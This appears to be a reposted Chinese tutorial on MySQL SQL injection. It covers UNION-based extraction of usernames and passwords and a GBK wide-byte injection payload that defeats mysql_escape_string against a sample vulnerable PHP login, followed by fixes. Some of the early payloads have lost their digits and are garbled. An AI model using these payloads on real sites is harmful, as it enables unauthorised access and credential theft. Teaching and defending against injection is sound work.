数据库

位置:IT落伍者 >> 数据库 >> 浏览文章

MySQL中SQL的单字节注入与宽字节注入


发布日期:2023年10月03日
 
MySQL中SQL的单字节注入与宽字节注入

单字节SQL注入

MYSQL的SQL注入已经由来已久以下是普遍采用的注入步骤

在GET参数上加一个/*或者#(mysql专有的注释)判断数据库是否是mysql比如http://wwwxxxcomcn/articlephp?id= and =/*

猜解某表的字段数从order by 一直更改到页面出错为止就可以得到该表的字段数

注入URLhttp://wwwxxxcomcn/articlephp?id= or = order by #

对应的SQL

select * from articles where id= or = order by #…

使用该表和用户表进行关联查询在文章列表里就可以看到用户名和密码了当也要猜解用户表的表名和用户名密码的字段名比如上一步得到的字段数是

注入的URLhttp://wwwxxxcomcn/articlephp?id= or = union select usernamepassword from user

对应的SQL

select * from articles where id= or = union select usernamepassword from user

这样就可以在界面上看到用户名和密码了

解决方法

过滤数据这并不是罗唆在合适的地方使用良好的数据过滤可以减小多数安全隐患甚至可以消除其中的一部分

将数据用括号包含如果你的数据库允许(MySQL 允许)在 SQL 语句中不论什么类型的数据都用单引号包含起来

转义数据一些合法的数据可能在无意中破坏 SQL 语句本身的格式使用 mysql_escape_string() 或者所使用数据库提供的转移函数如果没有提供这样的函数addslashes() 也是不错的最后选择

宽字节注入

宽字节注入也是在最近的项目中发现的问题大家都知道%df 被PHP转义(开启GPC用addslashes函数或者icov等)单引号被加上反斜槓\变成了 %df\其中\的十六进制是 %C 那么现在 %df\ = %df%c%如果程序的默认字符集是GBK等宽字节字符集则MYSQL用GBK的编码时会认为 %df%c 是一个宽字符也就是缞也就是说%df\ = %df%c%=缞有了单引号就好注入了比如

$conn = mysql_connect(”localhost”,”root”,”2sdfxedd”);

mysql_query(”SET NAMES ‘GBK’”);

mysql_select_db(”test”,$conn);

$user = mysql_escape_string($_GET['user']);

$pass = mysql_escape_string($_GET['pass']);

$sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”;

$result = mysql_query($sql,$conn);

while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {

$rows[] = $row;

}

?>

则通过以下注入即可:

http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

对应的SQL是:

select * from cms_user where username = ‘运’ or 1=1 limit 1,1#’ and password=”

解决方法:就是在初始化连接和字符集之后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。TW.wInGWiT.cOM如:

mysql_query(”SET character_set_client=binary”);                 

上一篇:MySQL中两种快速创建空表的方式的区别

下一篇:案例:MySQL服务无法启动 系统发生1058错误